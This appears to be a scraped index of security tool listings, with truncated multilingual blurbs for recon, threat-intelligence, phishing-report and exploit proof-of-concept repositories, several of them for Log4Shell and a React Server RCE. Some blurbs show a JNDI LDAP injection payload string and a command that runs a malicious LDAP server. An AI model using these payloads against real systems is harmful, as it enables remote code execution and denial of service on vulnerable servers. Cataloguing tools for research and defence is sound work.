recomposer

Recomposer.py Ever have that not so safe feeling uploading your malware binaries to VirusTotal or other AV sites because you can look up binaries by hashes? Example: https://github.com/mubix/vt-notify Feel somewhat safer with Recomposer! Recomposer will take your binary and randomly do the...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 概念验证 Apache Log4j2 版本 =2.14.1 在配置、日志消息和参数中使用的 JNDI 功能未对攻击者控制的 LDAP 及其他 JNDI 相关端点进行保护。 当消息查找替换功能启用时，能够控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。 为了帮助客户理解此漏洞的工作原理，我们准备了此仓库，内含一个简单但有效的概念验证。 前提条件 本地已安装： Git JDK 11 Maven Python 目前，该任意代码会在 macOS 或 Windows 上启动计算器应用程序，因此此 PoC...

pysho

pysho Herramienta basada en Python para realizar consultas a Shodan a través de la API de Shodan Obtener la herramienta: root@kitploit: git clone https://github.com/Kr0ff/pysho python -m pip install -r requirements.txt chmod +x pysho.py ./pysho Ejemplo de uso: root@kitploit: Perform a check on yo...

fileintel

fileintel 此工具用于收集给定文件的各种情报来源。Fileintel 采用模块化设计，因此可以轻松添加新的情报来源。 文件通过文件哈希（MD5、SHA1、SHA256）进行标识。输出为 CSV 格式并发送到 STDOUT，以便将数据保存或通过管道传输到其他程序。由于输出为 CSV 格式，Excel 等电子表格软件或数据库系统可以轻松导入数据。 本程序适用于 Python v2，但理论上也兼容 Python v3。如果发现不兼容 Python v3，请提交问题。 此代码已在 Windows 7 和 Mac OSX El Capitan 上测试。如果在其他类型的机器上尝试使用，请告知...

pentesting-multitool

Pentesting-Multitool 简介 Pentesting-Multitool 项目源于将多个渗透测试工具整合到一个工具中的需求。它将使用 Python3 开发，并添加一些外部库，如 DNSPython、pythonwhois 或 scapy。 该脚本的主要功能是收集 DNS 记录、域名或其他设备的信息。 使用前的必要配置 简单安装 Clone pentesting-multitool : $ git clone https://github.com/ffmancera/pentesting-multitool.git Python libraries : pip3 insta...

TLDHunt

TLDHunt - 域名可用性检查器 TLDHunt 是一款命令行工具，旨在帮助用户为其在线项目或企业查找可用的域名。通过提供关键字和 TLD（顶级域）扩展名列表，TLDHunt 会检查符合给定条件的域名是否可用。该工具对于希望快速找到尚未被注册的域名而无需在域名注册商网站上进行手动搜索的用户特别有用。 对于红队或钓鱼目的，此工具可帮助您查找原始域名的不同扩展名的相似域名。 !NOTE 已在以下环境测试：Kali GNU/Linux Rolling 搭配 whois v5.5.15 依赖项 本工具使用 Bash 编写，需要以下依赖项： whois ：用于检查域名可用性。 curl ：用于...

IPGeoLocation

IPGeoLocation ==== 用于获取IP地理位置信息的工具 由 ip-api 提供支持 要求 Python 3.x termcolor colorama 下载/安装 git clone https://github.com/maldevel/IPGeoLocation pip3 install -r requirements.txt --user 如果缺少 pip3： apt-get install python3-setuptools easyinstall3 pip pip3 install -r requirements.txt 功能 获取IP或域名地理位置。...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...

log4j-cve-2021-44228-sample

Ejemplo de exploit de log4j Este repositorio contiene una muestra funcional del abuso del reciente exploit de log4j. No realiza una ejecución remota de código real, pero te muestra la facilidad con la que un actor malintencionado puede hacer que una aplicación vulnerable llame a su propio servido...

CVE-2025-55182

CVE-2025-55182 - React2Shell 针对 CVE-2025-55182 的改良与增强型漏洞利用工具，该漏洞是一个在 React Server 19.0、19.1.0、19.1.1 和 19.2.0 版本中存在预认证远程代码执行漏洞。 该漏洞涉及以下组件： react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack 补丁 通过以下检查修复了使用 chunk 引用来检索原型属性的问题： root@kitploit: @@ -78,7 +80,10 @@ export functi...

hashdb

HashDB HashDB es una biblioteca de algoritmos de hash creada por la comunidad y utilizada en malware. Cómo usar HashDB HashDB puede utilizarse como una biblioteca de hash independiente, pero también alimenta el Servicio de búsqueda de HashDB gestionado por OALabs. Este servicio permite a los...

Log4j_CVE-2021-45046

Log4j 2.15.0 权限提升 -- CVE-2021-45046 攻击 描述 已经发现，Apache Log4j 2.15.0 中对 CVE-2021-44228 的修复在某些非默认配置下是不完整的。当日志记录配置使用了非默认模式布局，且包含上下文查找（例如 $$ctx:loginId）或线程上下文映射模式（%X、%mdc、%MDC）时，攻击者可通过控制线程上下文映射（MDC）输入数据，使用 JNDI 查找模式构造恶意输入数据，导致拒绝服务（DOS）攻击。Log4j 2.15.0 默认将 JNDI LDAP 查找限制为本地主机。请注意，之前的缓解措施（例如设置系统属性...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP查找漏洞的概念验证 您可以在此处阅读有关该漏洞的更多信息： https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ 如何运行提供的返回恶意对象的LDAP服务器？ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"...

Goreport

Goreport v3.0，一个 Gophish 报告工具 该脚本接受您的 Gophish 活动 ID 作为参数，然后收集活动结果以呈现统计数据，并执行用户代理解析和 IP 地址的地理位置查询。Goreport 会生成 IP 地址、操作系统、浏览器类型和版本以及位置的列表，并附带每个项目在活动中出现的次数统计。 关于统计数据的说明：Goreport 会报告事件总数以及参与每个事件的邮件收件人数。换句话说，Goreport 会显示 Gophish 记录了多少次“点击链接”事件，以及有多少收件人点击了链接。这两个数字差异很大。一个发送给 10 人的活动可能有 9 次点击链接事件，而实际只有 ...

Artemis

Artemis 概述 一个用于查找 APK 基础设施的工具。 由以下团队提供： HADESS 通过基础设施和软件提供进攻性网络安全服务，包括漏洞分析、场景攻击规划以及定制集成预防项目的实施。我们的活动围绕预防企业、工业及实验室网络威胁而组织。 安装 root@kitploit: pip install -r requirements.txt python main.py 命令行选项 root@kitploit: --help 显示帮助 --path APK 文件的必需路径 --manifest 显示清单信息 --infra 查找所有基础设施地址，包括 IP、域名，例如 --infra...

CVE-2021-44228-Apache-Log4j-Rce-main

CVE-2021-44228 Ejecución Remota de Código en Apache Log4j） todas las versiones de log4j-core =2.0-beta9 y =2.14.1 Las versiones 1.x tienen otras vulnerabilidades, recomendamos que actualices a la última versión. Avisos de seguridad / Boletines relacionados con Log4Shell CVE-2021-44228 Uso: descar...

Threat-Intelligence-Hunter

TIH 是一款威胁情报工具，可帮助你在多个公开安全信息源及一些知名 API 中搜索 IOC（威胁指标）。该工具旨在方便搜索和存储频繁新增的 IOC，从而创建你自己的指标集。 Threat-Intelligence-Hunter 摘要 TIH 是一款威胁情报工具，可帮助你在多个公开安全信息源及一些知名 API 中搜索 IOC（威胁指标）。该工具旨在方便搜索和存储频繁新增的 IOC，从而创建你自己的指标集。 需求 Python 2.7 Argparse Requests 来自 Virustotal 和 URLVoid 的 API 密钥 你可以运行以下命令一次性安装所有必要的包。...

cve-exploit

CVE-EXPLOIT 请仅用于合法目的 使用本软件。 我对您的行为不承担任何责任。 使用 Python 3.11.2 由 Edu0x01 制作 描述 cve-exploit 是一个用于查找 CVE 和漏洞利用集的中心。它基于官方 NIST、ExploitDB 和 Github 数据库。该工具可以快速便捷地搜索 CVE 及其关联的漏洞利用，能够检测漏洞利用的编译选项，还可用于列出最新的高危漏洞。 安装 通过 PIP 安装： root@kitploit: apt-get install python3 python3-pip python3-dev git libssl-dev...

cve-2020-28653-poc

Manage Engine OpManager CVE-2020-28653 概念验证 本概念验证用于检测 Manage Engine OpManager 实例是否存在 CVE-2020-28653 漏洞。检测方式为向目标实例发送一个包含序列化有效载荷的请求。当有效载荷被反序列化时，会导致实例发起一次 DNS 查询。 安装 1. 通过以下命令克隆仓库： git clone https://github.com/intrigueio/cve-2020-2853-poc 2. 通过以下命令安装所需的依赖： bundle install 用法 root@kitploit: bundle exe...

AttackSurfaceMapper

AttackSurfaceMapper AttackSurfaceMapper ASM 是一款侦察工具，它结合了开源情报和主动技术来扩展目标的攻击面。您输入一个或多个域名、子域名和IP地址的组合，它会使用多种技术来发现更多目标。它通过暴力枚举和被动查找来枚举子域名、发现同一网络块拥有者的其他IP、指向多个域名的IP等。 一旦目标列表完全扩展，它将对这些目标进行被动侦察：截取网站截图、生成可视化地图、在公开泄露事件中查找凭据、使用Shodan/Censys进行被动端口扫描，以及从LinkedIn抓取员工信息。 演示 安装...